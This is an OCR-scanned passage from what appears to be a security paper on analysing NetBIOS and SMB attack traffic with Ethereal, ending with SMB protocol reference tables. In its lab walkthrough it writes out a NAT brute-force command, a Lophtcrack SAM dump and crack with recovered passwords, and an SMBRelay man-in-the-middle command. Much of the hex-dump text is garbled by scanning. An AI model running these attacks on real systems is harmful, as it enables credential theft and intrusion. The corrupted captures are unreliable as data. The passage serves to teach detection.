0030 21 74 15 62 00 00 00 00 00 f4 ff 53 ad 42 25 00 It.b.... ...5MB%,
0040 00 00 00 98 OF <8 00 00 00 Q0 00 00 00 00 00 00 ......00 cessnnes
0050 00 00 OO OB 54 04 00 OB 40 14 Oa 00 00 bc 0D 0O e Rl PR
0060 00 00 00 38 00 OO0 00 bc OO0 38 00 OO0 00 00 00 bd LrEBT e e Feee e
0070 00 6¢ 05 00 ©2 03 10 00 00 00 bc 00 00 00 03 00 el e s s
0080 00 00 a4 OO0 OO0 00 00 00 00 00 2B 65 14 00 00 00 ........ AL o
009d 00 00 30 63 14 00 20 00 00 OO0 O1 OO0 OO0 00 0= 00 1 b |
0030 10 00 OB 1d 15 00 b0 1d 15 0 OB 00 00 00 00 00  ..ovvvenr srnsssss
QObO 00 00 OF Q0 Q0 OO0 54 Q0 45 00 53 00 54 00 4d 00  ...... T. E.5.T.M.
00ca 41 00 4 00 OO0 00 04 00 00 OO0 O1 04 OO0 00 00 00 ]| S e
00d0 00 05 15 00 00 00 14 Oc B3 2a 52 2d dc Ob S6 4d  ........ CHR=L WM
0020 dé& 00 OL 00 00 00 40 66 14 00 0L Q0 00 00 01 00  ..i:ss |
0ofF0 00 00 1a 00 1a 00 78 12 15 Q0 Q0 00 0O 00 Od OO0  ...... X surairaan
0100 00 00 00 00 00 00 Od 00 00 00 41 00 &4 00 &6d 0O R oA dam,
. Fa2.T

0110 &% 00 6e 00 &% 00 73 00 74 OO0 72 00 61 00 74 00 T
0120 &F 00 72 00 ©O OO 01 OO0 QO OO0 OO OO0 0O 00 Q.

Figure54. Ethereal version 0.8.19 displaysthe admin account

Asyou can see the prior version of Ethereal isnot as detailed as0.9.1. The new dissectors have greatly
improved the usefulness of reviewing named pipe network captures. So the hacker has confirmed that the
Administrator account istruly called administrator. Now it istime to brute force the account.
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NAT (NetBIOS Auditing Tool) by Rhino9

NAT isso easy to useit's scary. All you do is specify the username list, password list and destination and
it does the rest for you:

C:\nat —u userlistl.txt —p pasdlist.txt >> output.txt

| removed all usernames, except administrator, since we aready determined that using the NULL session.
Also, | cheated and added the real password at the end of the password list for purposes of this paper (1
didn’t want to have to wait that long). Y ou probably aready have an idea what the failed login and
successful login attempts will 1ook like.

Turns out that NAT makes the traffic look quite different. Since the password guessing attempt is
performed through the command line, the results are actually clearer to read. Also, NAT specifiesthat
passwords will be sent in the clear (no hashing, so ethereal will easily pick this up).

38 16.94378% 10.0.
1a. L 0.

PRy —— D e R T R L BT RS E ST

0.100  10.0.0.50 SME Session Setup andx Response, Errg
0. 0. 0. Sess10n Setup Andx Request

L
L
[4
[4

41 17.143828 10.0.0,100  10.0.0,50 TCP nethios-ssn = 1338 [ACK] Seg=5563:
42 15.948005 10.0.0.100  10.0.0.50 SME Session Setup andx Response, Erre
43 15.94829% 10.0.0. 50 10.0.0.100 SME session Setup and< Reguest

44 20.148024 10,0,0,100  10.0.0,50 TCP nethios-ssn > 1338 [ACK] Seq=965t
45 22.952148 10.0.0.100  10.0.0.50 SME session Setup and< Response, Erre
46 22.952436 10.0.0.50 10.0.0.100 SME Session Setup andx Request

47 23.152212 10.0,0.100 10.0.0.50 TCP nethios-ssn > 1338 [ACK] Seq=668:
48 25.956347 10.0.0.100  10.0.0.50 SME Session Setup andx Response, Erre

Password Length: 14

Reserved: 00000000

Byte Count (BCC): 28

Password: 414440404E4053545241544F5200
ACCOUNT : ADMINISTRATOR

o T T R T v T o o L D

Qo050 00 00 00 00 00 28 00 00 00 00 0a ff 00 00 00 04 ..., e e
0060 11 02 00 00 00 00 00 00 00 De Q0 00 00 00 00 1C ... oiunnnn.
Q070 00 41 44 4d 45 4e 49 53 54 52 41 54 4f 52 00 41 LADMIMIS TRATOR. A
0080 44 4d 4% d4e 45 53 54 52 41 54 4f 52 00 DMIMNISTR ATOR.

Figure55. Bruteforcing the Administrator account
Theinitial responses from Testman clearly show denied access.

SME (Server Message Block Protocol)
Message Type: O«FF
Server Component: SME
SMB Command: SMBsesssetupx (0x73)
Error Class: DOS Error
Reserved: 0
Error Code: aAccess denied

Figure56. Failed Session Setup
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Now, what does the successful login look like?

el 4 b meoa P s vy e e D 4 b e
117 74,023637 al=]yls TESTMARN SMEsesssetupx Request
118 74.026223 TESTMAN bongo SMB SMBsEssSSEtUpx Response
119 74.026347 bonao TESTMAN SmMB SMBT COnx Recuest

| I

HEME [ Server Message Block Protocol)]
Message Type: OxFF
sarver Ccomponent: SMB
SME Command: SMBsesssetupx (0x73)
Error Class: SUcCcCess
Reserved: 0O
Error Code: mMo Errar

| |
QOO0 00 aD cc 63 b0 22 OB 00 46 29 82 d2 08 00 45 00 DL, E e TREN = .
0010 00 7h 14 f4 40 00 B0 06 do 3 0a 00 00 32 0a 00 P - S 2.
QD20 00 64 05 32a 00 8b od fc bb c2 03 fc 28 41 50 18 e B e R
0030 41 17 80 B4 00 0D 00 00 00 4Ff ff 53 4d 42 73 00 . 0. SMBS.
oo40 00 00 00 18 01 20 00 00 00 OO0 OO0 00 Q0 Q0 00 OO0 T R s P
0050 00 00 OO0 00 00 2B 00 00 OO OO0 0a fF 00 00 Q0 Q4 ..... s s e g i
Q060 11 92 00 00 00 00 00 OO0 00 0a 00 00 Q0 00 00 18
Q070 00 77 60 G2 64 6d 60 Gc 6C 32 00 41 44 4d 40 4p Lwindmil 12, ADMIN
QOBO 49 52 54 52 41 54 4f 52 00 ISTRATOR .

Figure57. Login attempt using password of windmill2

SMB (Server Message Block Protocol)
Message Type: OxFF
Server Component: SMEB
SME Command: SMBsesssetupx (0x73)
Error Class: Success
Reserved: 0
Error Code: No Error

Figure 58. Positiveresponsefrom Testman

The hacker now has the password to Testman and can use Lophtcrack to dump the remote registry.

L ophtcrack:

L ophtcrackv3 has the ability to dump passwords from aremote registry. It does not work on a computer
with Syskey installed or on Windows 2000. All | doisfire up LC3 and request a Security Accounts
Manager (SAM) database dump from Testman. There are two ways you can analyze remote registry
activity either use the main layout or use TCP Stream. The TCP Stream method gives much clearer
information as shown by Figure 59.
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Euntenl:s of TCP stream

Figure59. TCP Stream of remote registry access

Y ou can see where the registry is being accessed, including the SAM. In the second half of the TCP
Stream (on the next page), it is clear that two usernames (hacker and daviesd) are having their SAM
information dumped. The numbers that can be seen are the hashes being sent across the wire by our
friendly tool Lophtcrack. All | need to do now is run Lophtcrack on these passwords and | will have dl
of the accounts. Letstry it out and see how long it takes.

S LC3 - [Untitledz]
File ‘iew Import  Session Help

CEE I A = N TR

User hlame | LM Password | <& [ NriM Passward | LM Hash | miw

L FA dministrator WINMDMILF 72?777 CASDZ L 2502 2BRC 1 C3AGSCOSERESE00E
GUest

usk_TESTMAN OZEDS37 22DE 242099 CAESDL FCD9B04AT EEE
hacker HACKERL ¥ hackert CE3CTOTFOSE2IE5 RADIBISSES 1 404EE 4288
daviesd DD3ADEFABI+2TARZFIAFIC T MICHEE043 Fols

Figure60. LC3in action
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Figure61. Lophtcrack accessestheregistry to dump the SAM database

It took two minutes to crack the administrator password and hacker’s password. Daviesd's password was

holding out alittle bit longer, but it too cracked after about three minutes. ©

SMBRelay:

Thistool is capable of capturing SMB hashes or hijacking a session through a Man-In-The-Middle attack.
In order to perform this MITM attack a hacker has to either use ARP poisoning or send a malicious email
with code to cause the victim to connect to the hacker’s computer. Unfortunately, the traffic looks normal

and is something usually only detected on the client side (from strange errors due to having the session

dropped).
An example of using SMBRelay:

C:\smbrelay/IL 2/IR 2/L+ 10.0.0.5/R 10.0.0.15 /T 10.0.0.75

That concludes our review of NetBIOS and SMB. The learning curve can be steep at first due to the non-

ASCII commands used in Windows Networking. However, once the basic terminology and syntax is

learned, deciphering what a normal user or a malicious attacker is doing on your computer is not such a

daunting task.
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Conclusion

Whether Ethereal is used online for exploit code and signature analysis, or offline to analyze suspicious
packets, it isa useful and powerful aly. Instead of looking at garbled data that a ssmpler tool like
tcpdump would produce, you get the capability to dig through each network layer either by hand or using
custom filters. Exploitsthat would normally be very difficult to detect can be caught in the midst of an
overload of extraneous data. Even for those that don’t want to get into the technical details can use option
like TCP Stream to give a clear overview of a connection. | didn’t even come close to covering al of the
protocols and exploits that Etherea can analyze. Hopefully, by covering some of the more common
protocols (HTTP) and not so commonly analyzed protocols (SMB) you will see the range of options that
you possess. Arethere other freeware and commercial tools out there to analyze network captures? Sure
there are. I’d argue, that for the price (free) and the many capabilities that Ethereal has, it would be tough
to find a close competitor.
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Additional NetBI OS/SM B Reference:

1.Excerpt from http://ourworld.compuser ve.com/homepages/ TimothyDEvans/smb.htm

SMB runs either over the NetBIOS Frames Protocol (NBF), NetBIOS over TCP/IP, or NetBIOS over

IPX.
SMB
Server Message Block (SMB)
/ | \
NetBIOS Frames Protocol (NBF) _ NetBIOS over TCP/IP
ie NtBEUI ie NetBIOS Of PFC 1001 RFC 1002 & NetBIOS over [PX

SM B Command Codes

Below is atable giving some of the Core SMB commands:

Core SMB Commands
| Field Name \smb_com \ Description
'SMBmkdir 0x00  Createdirectory
'SMBrmdir 0x01  Deletedirectory
'SMBopen 0x02  Openfile
'SMBcreate 0x03  Createfile
'SMBclose 0x04  [Closefile
'SMBflush 0x05  Commitall files
'SMBunlink 0x06  Deletefile
'SMBmv 0x07  Renamefile
'SMBgetatr 0x08  (Get fileattribute
'SM Bsetatr 0x09  Setfileattribute




'SMBread O0x0a  |Read byte block
'SMBwrite O0x0b  \Write byte block
'SMBlock 0x0c  |Lock byte block
'SMBunlock 0xod  |Unlock byte block

|

'SMBmknew OxOf Create new file
'SMBchkpth 0x10  |Check directory
'SMBexit 0x11  |End of process
'SMBlseek 0x12  |LSEEK

|

'SMBtcon 0x70  |Start connection
'SMBtdis 0x71  [End connection
'SMBnegprot 0x72  |Verify dialect

|

'SMBbskattr 0x80  |Get disk attributes
'SMBsearch 0x81  |Search multiplefiles

|

'SMBsplopen 0xcO  |Create spool file
'SMBsplwr Oxcl  |Spool byte block
'SMBsplclose 0xc2  |Closespool file
'SMBsplretq 0xc3 Return print queue
'SMBsends 0xd0  |Send message
'SMBsendb 0xdl  |Send broadcast
'SMBfwdname Oxd2  |Forward user name
'SMBcancelf 0xd3  |Cancel forward
'SMBgetmac Oxd4  |Get machine name
'SMBsendstrt 0xd5 |Start multi-block message
'SMBsendend 0xd6  |End multi-block message
'SMBsenditxt 0xd7  Multi-block message text
Never valid oOxfe |Invalid

|Implementation-dependant |Oxff

Implementation-dependant

Below is atable giving some of the Core plus commands:
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Core plus Commands

| Field Name \smb_com\ Description

'SMBlockreadr  |0x13

Lock then read data

'SMBwriteunlock |Ox14

\Write then unlock data

'SMBreadBraw Oxla

Read block raw

'SMBwriteBraw |0x1d

\Write block raw

Below is atable giving some of the LANMAN 1.0 SMB commands:

LANMAN 1.0 SMB Commands

| Field Name |smb_com | Description
'SMBreadBmpx (Ox1b  |Read block multiplexed
'SMBreadBs  |0xlc  |Read block (secondary response)

'SMBwriteBmpx |Ox1e

\Write block multiplexed

|SM BwriteBs |0x1f

\Write block (secondary response)

'SMBwriteC ~ |0x20

\Write complete response

'SMBsetattrE  |0x22

'Set file attributes expanded

'SMBgetattrE ~ |0x23

Get file attributes expanded

'SMBlockingX |0x24

'Lock/unlock byte ranges and X

'SMBtrans 0x25  |Transaction (name, bytesin/out)
SMBtranss ~ (0x26 | Transaction (secondary request/response)
'SMBioctl 0x27  |Passesthe IOCTL to the server
'SMBioctls 0x28  |IOCTL (secondary request/response)
'SMBcopy 0x29  |Copy

'SMBmove  (0x2a  |Move

'SMBecho 0x2b  |Echo

'SMBwriteclose 0x2c  |Writeand Close

'SMBopenX ~ |0x2d  |Openand X

SMBreadX ~ (Ox2e  |Read and X

'SMBwriteX  |0x2f ‘Write and X

'SMBsesssetup 0x73

|Sessjon Set Up and X (including User Logon)

'SMBtconX  |0x75

"Tree connect and X

'SMBffirst 0x82  |Find first
'SMBfunique |0x83  |Find unique
SMBfclose ~ (0x84  |Findclose

'SMBinvdid  Oxfe

Invalid command
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SMB Error Class

Below is atable giving some of the SMB Error class values:

SMB Error Class \
IFieId Name \Value\ Description ‘
|

'SUCCESS 0x00 The request was successful
IERRSRV \0x02 \Error generated by the LMX server

SMB Return Codesfor Error class 0x00

Below is atable giving some of the SMB Return Code Vaues when the Error classis 0x00:

SMB Return Code
| Field Name \Value\ Description
BUFFERED (0x54 'The Message was buffered
LOGGED  |0x55 |TheMessage waslogged
DISPLAYED |0x56 |The Message was displayed

SMB Return Codesfor Error class 0x02

Below is atable giving some of the SMB Return Code Vaues when the Error classis 0x02:

SMB Return Code
|Fie|d Name \Value\ Description
[ERRerror  0x01 |Non-specific error code
[ERRbadpw (002 |Bad password
[ERRbadtype 0x03 |Reserved

2. Excerpt from What is SMB? by Richard Shar pe (http://samba.anu.edu.au/cifs/docs/what-is-
smb.html)

An Example SMB Exchange

The protocol e ements (requests and responses) that clients and servers exchange are called SMBs. They
have a specific format that is very similar for both requests and responses. Each consists of afixed size
header portion, followed by a variable sized parameter and data portion.

After connecting at the NetBIOS level, either via NBF, NetBT, etc, the client is ready to request services
from the server. However, the client and server must first identify which protocol variant they each
understand. The client sends a negprot SMB to the server, listing the protocol dialects that it understands.
The server responds with the index of the dialect that it wants to use, or OXFFFF if none of the dialects
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was acceptable. Dialects more recent than the Core and CorePlus protocols supply information in the
negprot response to indicate their capabilities (max buffer size, canonical file names, etc).

Client Server

negprot Command sesssetun ¥ Command .E
BE

negprot Response sesssetup X Fesponse

Once a protocol has been established. The client can proceed to logon to the server, if required. They do
this with a sesssetupX SMB.

The response indicates whether or not they have supplied a valid username password pair and if so, can
provide additional information. One of the most important aspects of the responseis the UID of the
logged on user. This UID must be submitted with all subsequent SMBs on that connection to the server.
Once the client haslogged on (and in older protocols-Core and CorePlus-you cannot logon), the client can
proceed to connect to atree.

The client sends atcon or tconX SMB specifying the network name of the share that they wish to connect
to, and if all is kosher, the server responds with a TID that the client will usein all future SMBsrelating
to that share.

Client

teonX Cormrmand

Jdﬁl tconX Response

Having connected to atree, the client can now open afile with an open SMB, followed by reading it with
read SMBs, writing it with write SMBs, and closing it with close SMBs.
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